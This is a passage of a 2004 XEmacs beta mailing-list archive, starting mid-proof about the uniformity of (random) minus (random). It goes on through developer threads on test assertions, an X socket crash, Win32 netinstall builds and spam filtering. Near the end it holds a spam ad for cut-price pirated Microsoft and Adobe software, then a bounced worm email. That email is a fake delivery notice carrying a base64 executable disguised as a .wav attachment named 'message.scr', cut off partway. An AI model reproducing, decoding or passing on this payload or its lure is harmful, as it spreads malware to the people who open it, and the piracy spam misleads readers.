(- y x). Then (- y z) = (- y (- y x)) (by definition of z) = (+ (- y y) x) (by Lemma 1) = (+ 0 x) For uniqueness, suppose that there exists a w != (- y x) such that (- y w) = x. Then: (- y w) = x (+ (- y w) w) = (+ x w) (- y (- w w)) = (+ x w) (by Lemma 1) (- y 0) = (+ x w) y = (+ x w) (- y x) = (- (+ x w) x) (- y x) = w (by Lemma 2) Contradiction! Therefore, z is unique. Q.E.D. Theorem: If (random) produces a uniformly distributed number in the range [most-negative-fixnum, most-positive-fixnum], then (- (random) (random)) produces a uniformly distributed number in the same range. Proof: For any given fixnum x, (random) chooses x with probability 1 / N. We now compute the probability of (- (random) (random)) choosing x. The first call to random produces some value y with equal probability across all N fixnums. By lemma 3, there is exactly one fixnum z that can be picked to make (- (random) (random)) equal x. By assumption, that z will be picked with equal probability from all fixnums; i.e., with probability 1 / N. Therefore, the probability that (- (random) (random)) = x is 1 / N. Q.E.D. So neener, neener, neener. Now, if the range of (random) is constrained so that (- (random) (random)) will never wrap around, the situation is different. (This is the case for an XEmacs that produces 28-bit random numbers but has 31-bit fixnums, as well as for an XEmacs that produces 31-bit random numbers but has bignums.) In that case, you can show that the probability that (- (random) (random)) = x is (N - abs(x)) / N. If you graphed that, it would look like a triangle centered at 0. > Jerry> Shoot; (random) chooses one fixnum with equal probability, > Jerry> and (random N) chooses a number from 0 to N-1 with equal > Jerry> probability. That's too bad; I'd like to be able to say > Jerry> something like > > Jerry> (random (1+ most-negative-fixnum) (1- > Jerry> most-positive-fixnum)) > > Jerry> and have it give me a number in that range. > > Tee hee! Of course getting uniform over that range is hard, but isn't > that exactly the point of the subtraction? No. The subtraction has no point. I don't doubt that whoever put it in there thought it had a point, but that person was mistaken. I would like a version of (random) that allowed the selection of arbitrary closed ranges, though. I'll have to think about how to do that. > Jerry> I don't understand. Would my suggested change to Assert > Jerry> help at all? > > I don't know, it's heuristic. The problem is that something like > > (mapcar (lambda (x) (Assert (= (match-string "the" (car x)) (cdr x)))) > '(("the" . 0) > ("other" . 1) > ("three" . 0))) ; typo for "there" > > will signal wrong-type-argument for =, implying that match-string is > badly broken when actually it just returned nil as it should. I've > actually been bitten by this case, dumb, yes, but I don't think I > would have missed the point if I'd gotten an assertion failure instead > of an apparent "new internal error" introduced by my patch to the > regexp code. At least that's what I thought at the time. :-) > > Based on Martin's and others' practice of using eq for this kind of > case, I'm guessing that they also found it useful to get an Assertion > failure for expected types rather than some random "other failure", > while the converse case caused less confusion. > > However, this does make it obvious that we need to add the > `failing-case' data to the "other failure" arm in your suggested code. Got it. I'll whip up a patch. -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Tue Apr 27 20:39:31 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3S0c5s24798; Tue, 27 Apr 2004 20:38:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3S0bH624295 for xemacs-beta-mailman@xemacs.org; Tue, 27 Apr 2004 20:37:17 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3S0bGM24272 for turnbull@tux.org; Tue, 27 Apr 2004 20:37:16 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3S0bFs24260 for ; Tue, 27 Apr 2004 20:37:16 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BId4V-0007DL-00; Wed, 28 Apr 2004 09:37:07 +0900 To: Holger Schulz Cc: xemacs-beta@xemacs.org Subject: Re: Crash References: <0F82DE0B-9763-11D8-BC62-000A95C6FE96@informatik.uni-siegen.de> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 28 Apr 2004 09:37:06 +0900 In-Reply-To: <0F82DE0B-9763-11D8-BC62-000A95C6FE96@informatik.uni-siegen.de> (Holger Schulz's message of "Mon, 26 Apr 2004 11:21:12 +0200") Message-ID: <874qr5gcp9.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Holger" == Holger Schulz writes: Holger> connect /tmp/.X11-unix/X0: No such file or directory This is the Unix socket for the X server's local transport. I assume you're trying to connect to a server running on the same workstation as XEmacs. Try restarting the X server. I don't have time to dig into it, but my guess is that this is deep in the X libraries, and not something XEmacs can do anything about (except you can run XEmacs -nw or unset the DISPLAY environment variable and not use the -display command-line argument). Yes, we should not crash, give a more informative message and maybe even try to start up on the TTY, but this is nontrivial---XEmacs is not exactly in a stable state while it is trying to connect to a display. XEmacs can't run and can't destroy data in this state, it's rare, so nobody has been willing to dig into it just to save some xemacs-beta bandwidth. ;-) Patches welcome! -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 27 21:13:28 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3S1C2s14395; Tue, 27 Apr 2004 21:12:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3S1BBF13895 for xemacs-beta-mailman@xemacs.org; Tue, 27 Apr 2004 21:11:11 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3S1BAj13880 for turnbull@tux.org; Tue, 27 Apr 2004 21:11:10 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3S1B3s13806; Tue, 27 Apr 2004 21:11:04 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BIdbK-0007No-00; Wed, 28 Apr 2004 10:11:02 +0900 To: Jerry James Cc: XEmacs Beta Subject: Re: Bad test? References: <873c6wo5nv.fsf@tleepslib.sk.tsukuba.ac.jp> <87d65vjui3.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 28 Apr 2004 10:11:02 +0900 In-Reply-To: (Jerry James's message of "Tue, 27 Apr 2004 14:36:36 -0500") Message-ID: <87zn8wgb4p.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jerry" == Jerry James writes: >> Bzzt: Jerry> I'm not sure what you think your bzzting there, but if this Jerry> is a case of premature bzztulation, I hear there are some Jerry> topical creams that will help. What I said is absolutely Jerry> correct for an XEmacs with no bignums and a (random) that Jerry> behaves as documented As documented is perhaps unambiguous, but doc errors are legion. Presumably at the time of writing random always returned a non-negative number---it always has done so for me, I didn't use (random) until after MINIMAL_TAGBITS was promoted as the recommended configuration---and the test-writer dealt with the real XEmacs. Granted, when I wrote Bzzt! I had been _sloppy_ about reading the doc (I thought I was referring to documented as well as actual behavior), but I trusted Martin and Hrvoje (one of them probably wrote that test). There was a technical reason for that subtraction. NB this may all be obvious to you, but I think it's worth saying---I didn't know it until I stuck my neck out and was forced to think about it. I'll continue with the hair-trigger Bzzts ... very educational! :-) Jerry> I would like a version of (random) that allowed the Jerry> selection of arbitrary closed ranges, though. I'll have to Jerry> think about how to do that. Isn't the computation fairly trivial, and it seems to me that (random &optional LIMIT1 LIMIT2) is ugly because the meaning of LIMIT1 changes depending on whether LIMIT2 is nil or not---but we already have that kind of ugliness with the lower limit depending on whether the limit is specified. So can't we live with: (if limit2 (setq limit1 (or limit1 most-negative-fixnum)) ; or 0 and deprecate ; 1-arg calls? (if limit1 (setq limit2 limit1 limit1 0) (setq limit1 most-negative-fixnum limit2 most-positive-fixnum))) -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 27 21:52:26 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3S1p3s07160; Tue, 27 Apr 2004 21:51:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3S1oNL06748 for xemacs-beta-mailman@xemacs.org; Tue, 27 Apr 2004 21:50:23 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3S1oL306695 for turnbull@tux.org; Tue, 27 Apr 2004 21:50:21 -0400 Received: from smtp.istop.com (dci.doncaster.on.ca [66.11.168.194]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3S1oAs06586; Tue, 27 Apr 2004 21:50:10 -0400 Received: from mail.solidgoldbomb.org (ip146-177.tor.istop.com [66.11.177.146]) by smtp.istop.com (Postfix) with ESMTP id B04D717C41F; Tue, 27 Apr 2004 21:50:09 -0400 (EDT) Received: from desktop.solidgoldbomb.org ([192.168.3.11] helo=solidgoldbomb.org) by mail.solidgoldbomb.org with asmtp (Cipher SSLv3:RC4-MD5:128) (Exim 3.35 #1 (Debian)) id 1BIeBF-0004dR-00; Tue, 27 Apr 2004 21:48:09 -0400 Message-ID: <408F0D99.1040401@solidgoldbomb.org> Date: Tue, 27 Apr 2004 21:49:13 -0400 From: Stacey Sheldon Organization: SolidGoldBomb User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Vin Shelton Cc: xemacs-beta@xemacs.org, andy@xemacs.org Subject: Re: XEmacs 21.4.15 netinstall References: <402A5C5F.1010704@solidgoldbomb.org> In-Reply-To: X-Enigmail-Version: 0.83.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Any word yet on a Win32 netinstall binary for 21.4.14 or 21.4.15? I haven't got access to MSVC so I'm not able to build it for myself. Stacey. On 14 Feb 2004, Vin Shelton wrote: > Stacey Sheldon writes: > > >>I'm not sure if you're the right person to send this to so if I'm on >>the wrong path, please point me in the right direction. >> >>I'm using XEmacs 21.4.13 on win2k, and I've been hoping to see an >>updated netinstall of the latest builds. I'm mostly looking for a >>feature that went into 21.4.14 which made the scroll wheel work on >>win32 even without scrollbars. >> >>Is netinstall still the preferred way to get the latest releases for >>win32 XEmacs? Is the netinstall lineup behind the times due to >>dropped support, or is it a shortage of volunteers? >> >>Thanks for a great piece of software. > > > You're welcome. It's a pleasure to contribute to it. > > I think xemacs-beta@xemacs.org is the proper place to ask this > question. I've also taken the liberty of copying the person who > generates the netinstall kits. > > We certainly intend to release a 21.4.15 netinstall kit. I'll see if > we can get a likely delivery date on that. In the meantime, it might > not be too hard to build your own kit from scratch if you have Visual > C installed. > > - Vin From xemacs-beta-admin@xemacs.org Tue Apr 27 22:26:31 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3S2P5s29094; Tue, 27 Apr 2004 22:25:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3S2Osh28949 for xemacs-beta-mailman@xemacs.org; Tue, 27 Apr 2004 22:24:54 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3S2OpP28881 for turnbull@tux.org; Tue, 27 Apr 2004 22:24:51 -0400 Received: from rwcrmhc12.comcast.net (rwcrmhc12.comcast.net [216.148.227.85]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3S2Oas28733; Tue, 27 Apr 2004 22:24:36 -0400 Received: from eagle.xemacs.org (sj-ez-63-96-167-76.bea.com[63.96.167.76]) by comcast.net (rwcrmhc12) with SMTP id <2004042802243401400heudge> (Authid: andyatxemacs); Wed, 28 Apr 2004 02:24:35 +0000 Message-Id: <6.1.0.6.2.20040427192415.04d4a688@mail.comcast.net> X-Sender: andyatxemacs@mail.comcast.net X-Mailer: QUALCOMM Windows Eudora Version 6.1.0.6 Date: Tue, 27 Apr 2004 19:24:36 -0700 To: Stacey Sheldon From: Andy Piper Subject: Re: XEmacs 21.4.15 netinstall Cc: Vin Shelton , xemacs-beta@xemacs.org In-Reply-To: <408F0D99.1040401@solidgoldbomb.org> References: <402A5C5F.1010704@solidgoldbomb.org> <408F0D99.1040401@solidgoldbomb.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Still working on it. I now have a machine. andy At 06:49 PM 4/27/2004, Stacey Sheldon wrote: >Any word yet on a Win32 netinstall binary for 21.4.14 or 21.4.15? I >haven't got access to MSVC so I'm not able to build it for myself. > >Stacey. > > >On 14 Feb 2004, Vin Shelton wrote: > >>Stacey Sheldon writes: >> >>>I'm not sure if you're the right person to send this to so if I'm on >>>the wrong path, please point me in the right direction. >>> >>>I'm using XEmacs 21.4.13 on win2k, and I've been hoping to see an >>>updated netinstall of the latest builds. I'm mostly looking for a >>>feature that went into 21.4.14 which made the scroll wheel work on >>>win32 even without scrollbars. >>> >>>Is netinstall still the preferred way to get the latest releases for >>>win32 XEmacs? Is the netinstall lineup behind the times due to >>>dropped support, or is it a shortage of volunteers? >>> >>>Thanks for a great piece of software. >> >>You're welcome. It's a pleasure to contribute to it. >>I think xemacs-beta@xemacs.org is the proper place to ask this >>question. I've also taken the liberty of copying the person who >>generates the netinstall kits. >>We certainly intend to release a 21.4.15 netinstall kit. I'll see if >>we can get a likely delivery date on that. In the meantime, it might >>not be too hard to build your own kit from scratch if you have Visual >>C installed. >> - Vin From xemacs-beta-admin@xemacs.org Tue Apr 27 22:36:39 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3S2ZGs03048; Tue, 27 Apr 2004 22:35:16 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3S2YZe02647 for xemacs-beta-mailman@xemacs.org; Tue, 27 Apr 2004 22:34:35 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3S2YXx02614 for turnbull@tux.org; Tue, 27 Apr 2004 22:34:33 -0400 Received: from elvenbow.nc.kyushu-u.ac.jp (elvenbow.nc.kyushu-u.ac.jp [133.5.6.4]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3S2YWs02583; Tue, 27 Apr 2004 22:34:32 -0400 Received: from localhost (kasahara@elvenbow.nc.kyushu-u.ac.jp [127.0.0.1]) by elvenbow.nc.kyushu-u.ac.jp (8.12.11/8.12.11) with ESMTP id i3S2YOaa089424; Wed, 28 Apr 2004 11:34:25 +0900 (JST) (envelope-from kasahara@nc.kyushu-u.ac.jp) Date: Wed, 28 Apr 2004 11:34:23 +0900 (JST) Message-Id: <20040428.113423.278798578.kasahara@nc.kyushu-u.ac.jp> To: sperber@informatik.uni-tuebingen.de Cc: xemacs-beta@xemacs.org, xemacs-patches@xemacs.org Subject: Re: [VETO] current/set-window-configuration From: Yoshiaki Kasahara In-Reply-To: References: <20040402.112154.846971284.kasahara@nc.kyushu-u.ac.jp> <20040423.145325.847007131.kasahara@nc.kyushu-u.ac.jp> X-Fingerprint: CDA2 B6B6 6796 0DD3 9D80 2602 E909 4623 A15E A074 X-URL: http://www.nc.kyushu-u.ac.jp/~kasahara/ X-Mailer: Mew version 4.0.65 on XEmacs 21.5-b17 (chayote) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Sat, 24 Apr 2004 11:55:43 +0200, Michael Sperber said: > That's not really an accurate description of what happens. If you > look in `really-set-window-configuration', you'll see that it makes > the *minibuffer* the current buffer exactly to avoid the effect you're > describing. I'd rather fix the real underlying problem (which I > haven't quite figured out yet) than add kludge upon kludge. > > I know it's been a while you've reported this problem---I'll see to it > that it gets fixed in the near future. Thank you very much for your response. I had only one response after I described the problem, so I felt no one understood the problem and I tried to fix it by myself without understanding the detail of XEmacs internal. It was really difficult for me to trace these functions using edebug (I don't know other options to debug elisp interactively) because it used the functions I was tracing... anyway finally I found 'set-window-point' moved the cursor of the current buffer. I read the description of 'set-window-point' and simply thought it was the culprit. I wish you can find the real problem soon and fix it cleanly. Regards, -- Yoshiaki Kasahara Computing and Communications Center, Kyushu University kasahara@nc.kyushu-u.ac.jp From xemacs-beta-admin@xemacs.org Tue Apr 27 23:00:47 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3S2x6s17397; Tue, 27 Apr 2004 22:59:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3S2wNa16986 for xemacs-beta-mailman@xemacs.org; Tue, 27 Apr 2004 22:58:23 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3S2wMH16961 for turnbull@tux.org; Tue, 27 Apr 2004 22:58:22 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3S2w9s16850; Tue, 27 Apr 2004 22:58:09 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BIfGt-0007eu-00; Wed, 28 Apr 2004 11:58:03 +0900 To: Vin Shelton Cc: XEmacs Developers and Inquiring Minds Subject: Erratic mail behavior of XEmacs lists. References: <545d65tacn0.fsf@xemacs.org> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 28 Apr 2004 11:58:03 +0900 In-Reply-To: <545d65tacn0.fsf@xemacs.org> (Vin Shelton's message of "Tue, 27 Apr 2004 07:22:43 -0400") Message-ID: <87vfjkg66c.fsf_-_@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "vin" == Vin Shelton writes: vin> For some reason, my mail to xemacs-patches has been behaving vin> erratically. This particular case was definitely spam-filtering bogosity. Spam is getting out of hand, and I've tried some aggressive filters which throw too many false positives. AFAIK I've caught all those, but it does produce delays. For now I'm going to reduce my load by sending stuff that has _never_ thrown a false positive to /dev/null (explanatory patch to xemacsweb/Lists/index.content coming soon), and get rid of the more aggressive filters in favor of human moderation. Tux is in the process of upgrading Mailman and possibly installing a virus filter, and I hope that will help reduce the burden further, although there's always going to be a component of human intelligence required, I'm afraid. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 28 00:04:09 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3S444s24101; Wed, 28 Apr 2004 00:04:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3S43gs23909 for xemacs-beta-mailman@xemacs.org; Wed, 28 Apr 2004 00:03:42 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3S43eM23860 for turnbull@tux.org; Wed, 28 Apr 2004 00:03:40 -0400 Received: from auto.ru ([210.205.196.160]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3S43Ss23751 for ; Wed, 28 Apr 2004 00:03:38 -0400 Date: Wed, 28 Apr 2004 05:09:18 +0000 From: tomstdenis@zaralinux.com Subject: Software To: Xemacs-beta References: <65KA9088FB6KFH29@xemacs.org> In-Reply-To: <65KA9088FB6KFH29@xemacs.org> Message-ID: MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=4.3 required=5.0 tests=DCC_CHECK,LOW_PRICE, NO_REAL_NAME,SUPPLIES_LIMITED autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Microsoft Windows XP Professiodnal 2002 Retail price: $270.99 Our low Pricbe: $50.00 You Save: $220.00 Adobe Photoshfop 7.0 Retail price: $609.99 Our low Price: $60.00 You Savze: $550.00 Microsoft Office XP Professional 2002 Retail price: $579.99 Our low Price: $60.00 You Savve: $510.00 Adobe Illustrator 10 Retaiml price: $270.99 Our low Price: $60.00 You Savte: $210.00 Corel Draw Graphics Suite 11 Reztail price: $270.99 Our low Pricce: $60.00 You Save: $210.00 Delphi 7 Retaixl price: $404.99 Our low Price: $60.00 You Save: $335.00 And more!!! Why so cheap? All the software is OEM- Meaninzg that you don't get the box and the manual with your software. All you will receivue is the actual software and your unique registration code. All the softwarbe is in the English language for PC. Our offers are unbeatablce and we always update our prices to make sure we provide you with the besrt possible offers. Hurry up and place your ordcer, because our supplies are limited. Visiwt us now! http://tyunsd.info/OE017/?affiliate_id=233763&campaign_id=601 zvegov vyaoadt phjw gfjoflmeh ngapdz khfbdba epahyqni mvnyju jxyrlf rdtqnpx ptyp xopfnhtxv oltzge xfwijnm tgbidqcc taryfg gzebnp vnxzkcw vmjt gqjoucrxj roixwo xaqkpmz nlkpihdt pijazf dqdmit xholeoe pgqo uebkmtohy yrzyyc obpzvmg jakafchw qcbtmn bcwabn zzlcont nihv uhhvmicjb fkurav vwwxjvx xyllqawy wpgdlt lndmun tmndtjz gvvd ttogjpctl tnpftc ukpnayb ocjacpvy torivc zxklqa cwtfpuw fvvg jyqjbhgzb vqjquj ogxggac oftjczfx fowwzx From MAILER-DAEMON@tux.org Wed Apr 28 10:29:36 2004 Received: from amailc.charmingcommerce.com (amailc.charmingcommerce.com [208.35.202.31]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3SETYs26611 for ; Wed, 28 Apr 2004 10:29:35 -0400 Message-Id: <200404281429.i3SETYs26611@gwyn.tux.org> Date: Wed, 28 Apr 2004 10:29:13 -0400 Reply-to: amail@charminginteractive.com, CA-email@charmingstores.com From: "LSMTP for Windows NT v1.1b" Subject: Undelivered mail To: xemacs-beta-archive@xemacs.org X-Report-Type: Nondelivery; boundary="> Error description:" An error was detected while processing the enclosed message. A list of the affected recipient follows. This list is in a special format that allows software like LISTSERV to automatically take action on incorrect addresses; you can safely ignore the numeric codes. --> Error description: Error-for: 1792408.479@mail2.lanebryant.com Error-Code: 0 Error-Text: Message could not be delivered to mailer "mail2.lanebryant.com" after 4.00 day(s) and has been discarded. Error-End: One error reported. ------------------------------ Original message ------------------------------ Received: from mail2.lanebryant.com (24.201.146.22) by amailc.charmingcommerce.com (LSMTP for Windows NT v1.1b) with SMTP id <0.008319B5@amailc.charmingcommerce.com>; Sat, 24 Apr 2004 10:28:58 -0400 From: xemacs-beta-archive@xemacs.org To: 1792408.479@mail2.lanebryant.com Subject: Mail Delivery (failure 1792408.479@mail2.lanebryant.com) Date: Sat, 24 Apr 2004 10:24:56 -0700 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_001B_01C0CA80.6B015D10" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: multipart/alternative; boundary="----=_NextPart_001_001C_01C0CA80.6B015D10" ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable If the message will not displayed automatically,
follow the link to read the delivered message.

Received message is available at:
www.mail2.lanebryant.com/inbox/1792408.479/read.php?sessionid-16026
 
------=_NextPart_001_001C_01C0CA80.6B015D10-- ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: audio/x-wav; name="message.scr" Content-Transfer-Encoding: base64 Content-ID:<031401Mfdab4$3f3dL780$73387018@57W81fa70Re> TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAYAAAAA4fug4AtAnNIbgBTM0hV2luZG93cyBQcm9ncmFtDQokUEUAAEwBAwAAAAAA AAAAAAAAAADgAA8BCwEAAAAEAAAAcgAAAAAAAAAgAQAAEAAAACAAAAAAQAAAEAAAAAIAAAQA AAAAAAAABAAAAAAAAAAAMAEAAAQAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA AAAAAAAAAAD0IAEAawAAAACwAABobQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdAAAAACgAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAA AADgAADAAAAAAHRhAAAAcAAAALAAAHRvAAAABAAAAAAAAAAAAAAAAAAA4AAAwAAAAABhAAAA ABAAAAAgAQAAAgAAAAIAAAAAAAAAAAAAAAAAAOAAAMAFBAYEAQDOIUAAAgAAQAAAAG4AAAAM AAAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAC70AFAAL8AEEAAviwcQQBT6AoAAAAC0nUFihZG EtLD/LKApGoCW/8UJHP3M8n/FCRzGDPA/xQkcyGzAkGwEP8UJBLAc/l1P6rr3OhDAAAAK8t1 EOg4AAAA6yis0eh0QRPJ6xyRSMHgCKzoIgAAAD0AfQAAcwqA/AVzBoP4f3cCQUGVi8WzAVaL 9yvw86Re65YzyUH/VCQEE8n/VCQEcvTDX1sPtztPdAhPdBPB5wzrB4t7AleDwwRDQ+lR//// X7soIUEAR4s3r1f/E5UzwK51/f4PdO/+D3UGR/83r+sJ/g8PhKLw/v9XVf9TBAkGrXXbi+zD HCEBAAAAAAAAAAAANCEBACghAQAAAAAAAAAAAAAAAAAAAAAAAAAAAEAhAQBOIQEAAAAAAEAh AQBOIQEAAAAAAEtFUk5FTDMyLmRsbAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwDr 